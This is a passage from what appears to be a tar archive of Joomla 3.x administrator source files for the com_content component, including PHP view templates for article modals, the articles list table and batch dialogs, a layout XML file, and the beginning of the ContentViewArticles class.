		<input type="hidden" name="return" value="<?php echo $input->get('return', null, 'BASE64'); ?>" />
		<input type="hidden" name="forcedLanguage" value="<?php echo $input->get('forcedLanguage', '', 'cmd'); ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_content/views/article/tmpl/modal.php000060400000002537152455305310014423 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));

// @deprecated 4.0 the function parameter, the inline js and the buttons are not needed since 3.7.0.
$function  = JFactory::getApplication()->input->getCmd('function', 'jEditArticle_' . (int) $this->item->id);

// Function to update input title when changed
JFactory::getDocument()->addScriptDeclaration('
	function jEditArticleModal() {
		if (window.parent && document.formvalidator.isValid(document.getElementById("item-form"))) {
			return window.parent.' . $this->escape($function) . '(document.getElementById("jform_title").value);
		}
	}
');
?>
<button id="applyBtn" type="button" class="hidden" onclick="Joomla.submitbutton('article.apply'); jEditArticleModal();"></button>
<button id="saveBtn" type="button" class="hidden" onclick="Joomla.submitbutton('article.save'); jEditArticleModal();"></button>
<button id="closeBtn" type="button" class="hidden" onclick="Joomla.submitbutton('article.cancel');"></button>

<div class="container-popup">
	<?php $this->setLayout('edit'); ?>
	<?php echo $this->loadTemplate(); ?>
</div>
com_content/views/article/tmpl/modal_metadata.php000060400000000504152455305310016253 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.metadata', $this);
com_content/views/article/tmpl/modal_associations.php000060400000000510152455305310017167 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.associations', $this);
com_content/views/article/tmpl/edit_metadata.php000060400000000504152455305310016104 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.metadata', $this);
com_content/views/article/tmpl/pagebreak.php000060400000002616152455305310015246 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.core');
JHtml::_('behavior.polyfill', array('event'), 'lt IE 9');
JHtml::_('script', 'com_content/admin-article-pagebreak.min.js', array('version' => 'auto', 'relative' => true));

$document    = JFactory::getDocument();
$this->eName = JFactory::getApplication()->input->getCmd('e_name', '');
$this->eName = preg_replace('#[^A-Z0-9\-\_\[\]]#i', '', $this->eName);

$document->setTitle(JText::_('COM_CONTENT_PAGEBREAK_DOC_TITLE'));
?>
<div class="container-popup">
	<form class="form-horizontal">

		<div class="control-group">
			<label for="title" class="control-label"><?php echo JText::_('COM_CONTENT_PAGEBREAK_TITLE'); ?></label>
			<div class="controls"><input type="text" id="title" name="title" /></div>
		</div>

		<div class="control-group">
			<label for="alias" class="control-label"><?php echo JText::_('COM_CONTENT_PAGEBREAK_TOC'); ?></label>
			<div class="controls"><input type="text" id="alt" name="alt" /></div>
		</div>

		<button onclick="insertPagebreak('<?php echo $this->eName; ?>');" class="btn btn-success pull-right">
			<?php echo JText::_('COM_CONTENT_PAGEBREAK_INSERT_BUTTON'); ?>
		</button>

	</form>
</div>
com_content/views/article/tmpl/edit_associations.php000060400000000510152455305310017020 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.associations', $this);
com_content/views/articles/tmpl/modal.php000060400000015256152455305310014610 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$app = JFactory::getApplication();

if ($app->isClient('site'))
{
	JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN'));
}

JLoader::register('ContentHelperRoute', JPATH_ROOT . '/components/com_content/helpers/route.php');

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.core');
JHtml::_('behavior.polyfill', array('event'), 'lt IE 9');
JHtml::_('script', 'com_content/admin-articles-modal.min.js', array('version' => 'auto', 'relative' => true));
JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
JHtml::_('bootstrap.popover', '.hasPopover', array('placement' => 'bottom'));
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', '.multipleTags', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_TAG')));
JHtml::_('formbehavior.chosen', '.multipleCategories', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_CATEGORY')));
JHtml::_('formbehavior.chosen', '.multipleAccessLevels', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_ACCESS')));
JHtml::_('formbehavior.chosen', '.multipleAuthors', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_AUTHOR')));
JHtml::_('formbehavior.chosen', 'select');

// Special case for the search field tooltip.
$searchFilterDesc = $this->filterForm->getFieldAttribute('search', 'description', null, 'filter');
JHtml::_('bootstrap.tooltip', '#filter_search', array('title' => JText::_($searchFilterDesc), 'placement' => 'bottom'));

$function  = $app->input->getCmd('function', 'jSelectArticle');
$editor    = $app->input->getCmd('editor', '');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$onclick   = $this->escape($function);

if (!empty($editor))
{
	// This view is used also in com_menus. Load the xtd script only if the editor is set!
	JFactory::getDocument()->addScriptOptions('xtd-articles', array('editor' => $editor));
	$onclick = "jSelectArticle";
}
?>
<div class="container-popup">

	<form action="<?php echo JRoute::_('index.php?option=com_content&view=articles&layout=modal&tmpl=component&function=' . $function . '&' . JSession::getFormToken() . '=1&editor=' . $editor); ?>" method="post" name="adminForm" id="adminForm" class="form-inline">

		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>

		<div class="clearfix"></div>

		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped table-condensed">
				<thead>
					<tr>
						<th width="1%" class="center nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>
						<th class="title">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
						</th>
						<th width="15%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JDATE', 'a.created', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="6">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php
				$iconStates = array(
					-2 => 'icon-trash',
					0  => 'icon-unpublish',
					1  => 'icon-publish',
					2  => 'icon-archive',
				);
				?>
				<?php foreach ($this->items as $i => $item) : ?>
					<?php if ($item->language && JLanguageMultilang::isEnabled())
					{
						$tag = strlen($item->language);
						if ($tag == 5)
						{
							$lang = substr($item->language, 0, 2);
						}
						elseif ($tag == 6)
						{
							$lang = substr($item->language, 0, 3);
						}
						else {
							$lang = '';
						}
					}
					elseif (!JLanguageMultilang::isEnabled())
					{
						$lang = '';
					}
					?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center">
							<span class="<?php echo $iconStates[$this->escape($item->state)]; ?>" aria-hidden="true"></span>
						</td>
						<td>
							<?php $attribs = 'data-function="' . $this->escape($onclick) . '"'
								. ' data-id="' . $item->id . '"'
								. ' data-title="' . $this->escape($item->title) . '"'
								. ' data-cat-id="' . $this->escape($item->catid) . '"'
								. ' data-uri="' . $this->escape(ContentHelperRoute::getArticleRoute($item->id, $item->catid, $item->language)) . '"'
								. ' data-language="' . $this->escape($lang) . '"';
							?>
							<a class="select-link" href="javascript:void(0)" <?php echo $attribs; ?>>
								<?php echo $this->escape($item->title); ?></a>
							<span class="small break-word">
								<?php if (empty($item->note)) : ?>
									<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
								<?php else : ?>
									<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
								<?php endif; ?>
 							</span>
							<div class="small">
								<?php echo JText::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
							</div>
						</td>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
						<td class="small">
							<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
						</td>
						<td class="nowrap small hidden-phone">
							<?php echo JHtml::_('date', $item->created, JText::_('DATE_FORMAT_LC4')); ?>
						</td>
						<td class="nowrap small hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="forcedLanguage" value="<?php echo $app->input->get('forcedLanguage', '', 'CMD'); ?>" />
		<?php echo JHtml::_('form.token'); ?>

	</form>
</div>
com_content/views/articles/tmpl/default_batch_body.php000060400000001745152455305310017314 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;
$published = (int) $this->state->get('filter.published');
?>

<div class="container-fluid">
	<div class="row-fluid">
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.language'); ?>
			</div>
		</div>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.access'); ?>
			</div>
		</div>
	</div>
	<div class="row-fluid">
		<?php if ($published >= 0) : ?>
			<div class="control-group span6">
				<div class="controls">
					<?php echo JHtml::_('batch.item', 'com_content'); ?>
				</div>
			</div>
		<?php endif; ?>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.tag'); ?>
			</div>
		</div>
	</div>
</div>
com_content/views/articles/tmpl/default.php000060400000034312152455305310015132 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', '.multipleTags', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_TAG')));
JHtml::_('formbehavior.chosen', '.multipleCategories', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_CATEGORY')));
JHtml::_('formbehavior.chosen', '.multipleAccessLevels', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_ACCESS')));
JHtml::_('formbehavior.chosen', '.multipleAuthors', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_AUTHOR')));
JHtml::_('formbehavior.chosen', 'select');

$app       = JFactory::getApplication();
$user      = JFactory::getUser();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';
$columns   = 10;

if (strpos($listOrder, 'publish_up') !== false)
{
	$orderingColumn = 'publish_up';
}
elseif (strpos($listOrder, 'publish_down') !== false)
{
	$orderingColumn = 'publish_down';
}
elseif (strpos($listOrder, 'modified') !== false)
{
	$orderingColumn = 'modified';
}
else
{
	$orderingColumn = 'created';
}

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_content&task=articles.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'articleList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
}

$assoc = JLanguageAssociations::isEnabled();
?>

<form action="<?php echo JRoute::_('index.php?option=com_content&view=articles'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php
		// Search tools bar
		echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this));
		?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="articleList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%" class="center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>
						<th style="min-width:100px" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort',  'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
						</th>
						<?php if ($assoc) : ?>
							<?php $columns++; ?>
							<th width="5%" class="nowrap hidden-phone">
								<?php echo JHtml::_('searchtools.sort', 'COM_CONTENT_HEADING_ASSOCIATION', 'association', $listDirn, $listOrder); ?>
							</th>
						<?php endif; ?>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort',  'JAUTHOR', 'a.created_by', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_CONTENT_HEADING_DATE_' . strtoupper($orderingColumn), 'a.' . $orderingColumn, $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_HITS', 'a.hits', $listDirn, $listOrder); ?>
						</th>
						<?php if ($this->vote) : ?>
							<?php $columns++; ?>
							<th width="1%" class="nowrap hidden-phone">
								<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_VOTES', 'rating_count', $listDirn, $listOrder); ?>
							</th>
							<?php $columns++; ?>
							<th width="1%" class="nowrap hidden-phone">
								<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_RATINGS', 'rating', $listDirn, $listOrder); ?>
							</th>
						<?php endif; ?>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="<?php echo $columns; ?>">
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php foreach ($this->items as $i => $item) :
					$item->max_ordering = 0;
					$ordering   = ($listOrder == 'a.ordering');
					$canCreate  = $user->authorise('core.create',     'com_content.category.' . $item->catid);
					$canEdit    = $user->authorise('core.edit',       'com_content.article.' . $item->id);
					$canCheckin = $user->authorise('core.manage',     'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0;
					$canEditOwn = $user->authorise('core.edit.own',   'com_content.article.' . $item->id) && $item->created_by == $userId;
					$canChange  = $user->authorise('core.edit.state', 'com_content.article.' . $item->id) && $canCheckin;
					$canEditCat    = $user->authorise('core.edit',       'com_content.category.' . $item->catid);
					$canEditOwnCat = $user->authorise('core.edit.own',   'com_content.category.' . $item->catid) && $item->category_uid == $userId;
					$canEditParCat    = $user->authorise('core.edit',       'com_content.category.' . $item->parent_category_id);
					$canEditOwnParCat = $user->authorise('core.edit.own',   'com_content.category.' . $item->parent_category_id) && $item->parent_category_uid == $userId;
					?>
					<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->catid; ?>">
						<td class="order nowrap center hidden-phone">
							<?php
							$iconClass = '';
							if (!$canChange)
							{
								$iconClass = ' inactive';
							}
							elseif (!$saveOrder)
							{
								$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::_('tooltipText', 'JORDERINGDISABLED');
							}
							?>
							<span class="sortable-handler<?php echo $iconClass ?>">
								<span class="icon-menu" aria-hidden="true"></span>
							</span>
							<?php if ($canChange && $saveOrder) : ?>
								<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order" />
							<?php endif; ?>
						</td>
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $item->id); ?>
						</td>
						<td class="center">
							<div class="btn-group">
								<?php echo JHtml::_('jgrid.published', $item->state, $i, 'articles.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
								<?php echo JHtml::_('contentadministrator.featured', $item->featured, $i, $canChange); ?>
								<?php // Create dropdown items and render the dropdown list.
								if ($canChange)
								{
									JHtml::_('actionsdropdown.' . ((int) $item->state === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'articles');
									JHtml::_('actionsdropdown.' . ((int) $item->state === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'articles');
									echo JHtml::_('actionsdropdown.render', $this->escape($item->title));
								}
								?>
							</div>
						</td>
						<td class="has-context">
							<div class="pull-left break-word">
								<?php if ($item->checked_out) : ?>
									<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'articles.', $canCheckin); ?>
								<?php endif; ?>
								<?php if ($canEdit || $canEditOwn) : ?>
									<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_content&task=article.edit&id=' . $item->id); ?>" title="<?php echo JText::_('JACTION_EDIT'); ?>">
										<?php echo $this->escape($item->title); ?></a>
								<?php else : ?>
									<span title="<?php echo JText::sprintf('JFIELD_ALIAS_LABEL', $this->escape($item->alias)); ?>"><?php echo $this->escape($item->title); ?></span>
								<?php endif; ?>
								<span class="small break-word">
									<?php if (empty($item->note)) : ?>
										<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
									<?php else : ?>
										<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
									<?php endif; ?>
								</span>
								<div class="small">
									<?php
									$ParentCatUrl = JRoute::_('index.php?option=com_categories&task=category.edit&id=' . $item->parent_category_id . '&extension=com_content');
									$CurrentCatUrl = JRoute::_('index.php?option=com_categories&task=category.edit&id=' . $item->catid . '&extension=com_content');
									$EditCatTxt = JText::_('COM_CONTENT_EDIT_CATEGORY');

										echo JText::_('JCATEGORY') . ': ';

										if ($item->category_level != '1') :
											if ($item->parent_category_level != '1') :
												echo ' &#187; ';
											endif;
										endif;

										if (JFactory::getLanguage()->isRtl())
										{
											if ($canEditCat || $canEditOwnCat) :
												echo '<a class="hasTooltip" href="' . $CurrentCatUrl . '" title="' . $EditCatTxt . '">';
											endif;
											echo $this->escape($item->category_title);
											if ($canEditCat || $canEditOwnCat) :
												echo '</a>';
											endif;

											if ($item->category_level != '1') :
												echo ' &#171; ';
												if ($canEditParCat || $canEditOwnParCat) :
													echo '<a class="hasTooltip" href="' . $ParentCatUrl . '" title="' . $EditCatTxt . '">';
												endif;
												echo $this->escape($item->parent_category_title);
												if ($canEditParCat || $canEditOwnParCat) :
													echo '</a>';
												endif;
											endif;
										}
										else
										{
											if ($item->category_level != '1') :
												if ($canEditParCat || $canEditOwnParCat) :
													echo '<a class="hasTooltip" href="' . $ParentCatUrl . '" title="' . $EditCatTxt . '">';
												endif;
												echo $this->escape($item->parent_category_title);
												if ($canEditParCat || $canEditOwnParCat) :
													echo '</a>';
												endif;
												echo ' &#187; ';
											endif;
											if ($canEditCat || $canEditOwnCat) :
												echo '<a class="hasTooltip" href="' . $CurrentCatUrl . '" title="' . $EditCatTxt . '">';
											endif;
											echo $this->escape($item->category_title);
											if ($canEditCat || $canEditOwnCat) :
												echo '</a>';
											endif;
										}
									?>
								</div>
							</div>
						</td>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
						<?php if ($assoc) : ?>
						<td class="hidden-phone">
							<?php if ($item->association) : ?>
								<?php echo JHtml::_('contentadministrator.association', $item->id); ?>
							<?php endif; ?>
						</td>
						<?php endif; ?>
						<td class="small hidden-phone">
							<?php if ((int) $item->created_by != 0) : ?>
								<?php if ($item->created_by_alias) : ?>
									<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_users&task=user.edit&id=' . (int) $item->created_by); ?>" title="<?php echo JText::_('JAUTHOR'); ?>">
									<?php echo $this->escape($item->author_name); ?></a>
									<div class="smallsub"><?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->created_by_alias)); ?></div>
								<?php else : ?>
									<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_users&task=user.edit&id=' . (int) $item->created_by); ?>" title="<?php echo JText::_('JAUTHOR'); ?>">
									<?php echo $this->escape($item->author_name); ?></a>
								<?php endif; ?>
							<?php else : ?>
								<?php if ($item->created_by_alias) : ?>
									<?php echo JText::_('JNONE'); ?>
									<div class="smallsub"><?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->created_by_alias)); ?></div>
								<?php else : ?>
									<?php echo JText::_('JNONE'); ?>
								<?php endif; ?>
							<?php endif; ?>
						</td>
						<td class="small hidden-phone">
							<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
						</td>
						<td class="nowrap small hidden-phone">
							<?php
							$date = $item->{$orderingColumn};
							echo $date > 0 ? JHtml::_('date', $date, JText::_('DATE_FORMAT_LC4')) : '-';
							?>
						</td>
						<td class="hidden-phone center">
							<span class="badge badge-info">
								<?php echo (int) $item->hits; ?>
							</span>
						</td>
						<?php if ($this->vote) : ?>
							<td class="hidden-phone center">
								<span class="badge badge-success" >
								<?php echo (int) $item->rating_count; ?>
								</span>
							</td>
							<td class="hidden-phone center">
								<span class="badge badge-warning" >
								<?php echo (int) $item->rating; ?>
								</span>
							</td>
						<?php endif; ?>
						<td class="hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
			<?php // Load the batch processing form. ?>
			<?php if ($user->authorise('core.create', 'com_content')
				&& $user->authorise('core.edit', 'com_content')
				&& $user->authorise('core.edit.state', 'com_content')) : ?>
				<?php echo JHtml::_(
					'bootstrap.renderModal',
					'collapseModal',
					array(
						'title'  => JText::_('COM_CONTENT_BATCH_OPTIONS'),
						'footer' => $this->loadTemplate('batch_footer'),
					),
					$this->loadTemplate('batch_body')
				); ?>
			<?php endif; ?>
		<?php endif; ?>

		<?php echo $this->pagination->getListFooter(); ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_content/views/articles/tmpl/default.xml000060400000003607152455305310015146 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTENT_ARTICLES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CONTENT_ARTICLES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
		<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request"
			addfieldpath="/administrator/components/com_categories/models/fields"
		>
			<field
				name="filter_category_id"
				type="modal_category"
				label="COM_MENUS_ADMIN_CATEGORY_LABEL"
				description="COM_MENUS_ADMIN_CATEGORY_DESC"
				extension="com_content"
				select="true"
				new="true"
				edit="true"
				clear="true"
				filter="integer"
			/>

			<field
				name="filter_level"
				type="integer"
				label="COM_MENUS_ADMIN_LEVEL_LABEL"
				description="COM_MENUS_ADMIN_LEVEL_DESC"
				first="1"
				last="10"
				step="1"
				languages="*"
				filter="integer"
				>
				<option value="">JOPTION_SELECT_MAX_LEVELS</option>
			</field>

			<field
				name="filter_author_id"
				type="author"
				label="COM_MENUS_ADMIN_AUTHOR_LABEL"
				description="COM_MENUS_ADMIN_AUTHOR_DESC"
				multiple="true"
				class="multipleAuthors"
				filter="int_array"
				>
				<option value="0">JNONE</option>
			</field>

			<field
				name="filter_tag"
				type="tag"
				label="COM_MENUS_ADMIN_TAGS_LABEL"
				description="COM_MENUS_ADMIN_TAGS_DESC"
				multiple="true"
				filter="int_array"
				mode="nested"
			/>

			<field
				name="filter_access"
				type="accesslevel"
				label="COM_MENUS_ADMIN_ACCESS_LABEL"
				description="COM_MENUS_ADMIN_ACCESS_DESC"
				multiple="true"
				filter="int_array"
			/>

			<field
				name="filter_language"
				type="contentlanguage"
				label="COM_MENUS_ADMIN_LANGUAGE_LABEL"
				description="COM_MENUS_ADMIN_LANGUAGE_DESC"
				>
				<option value="">JOPTION_SELECT_LANGUAGE</option>
				<option value="*">JALL</option>
			</field>

		</fieldset>
	</fields>

</metadata>
com_content/views/articles/tmpl/default_batch_footer.php000060400000001443152455305310017650 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

?>
<button type="button" class="btn" onclick="document.getElementById('batch-category-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value='';document.getElementById('batch-user-id').value='';document.getElementById('batch-tag-id').value=''" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('article.batch');return false;">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
com_content/views/articles/view.html.php000060400000014760152455305310014454 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of articles.
 *
 * @since  1.6
 */
class ContentViewArticles extends JViewLegacy
{
	/**
	 * The item authors
	 *
	 * @var  stdClass
	 *
	 * @deprecated  4.0  To be removed with Hathor
	 */
	protected $authors;

	/**
	 * An array of items
	 *
	 * @var  array
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var  JPagination
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * Form object for search filters
	 *
	 * @var  JForm
	 */
	public $filterForm;

	/**
	 * The active search filters
	 *
	 * @var  array
	 */
	public $activeFilters;

	/**
	 * The sidebar markup
	 *
	 * @var  string
	 */
	protected $sidebar;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			ContentHelper::addSubmenu('articles');
		}

		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->authors       = $this->get('Authors');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');
		$this->vote          = JPluginHelper::isEnabled('content', 'vote');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Levels filter - Used in Hathor.
		// @deprecated  4.0 To be removed with Hathor
		$this->f_levels = array(
			JHtml::_('select.option', '1', JText::_('J1')),
			JHtml::_('select.option', '2', JText::_('J2')),
			JHtml::_('select.option', '3', JText::_('J3')),
			JHtml::_('select.option', '4', JText::_('J4')),
			JHtml::_('select.option', '5', JText::_('J5')),
			JHtml::_('select.option', '6', JText::_('J6')),
			JHtml::_('select.option', '7', JText::_('J7')),
			JHtml::_('select.option', '8', JText::_('J8')),
			JHtml::_('select.option', '9', JText::_('J9')),
			JHtml::_('select.option', '10', JText::_('J10')),
		);

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
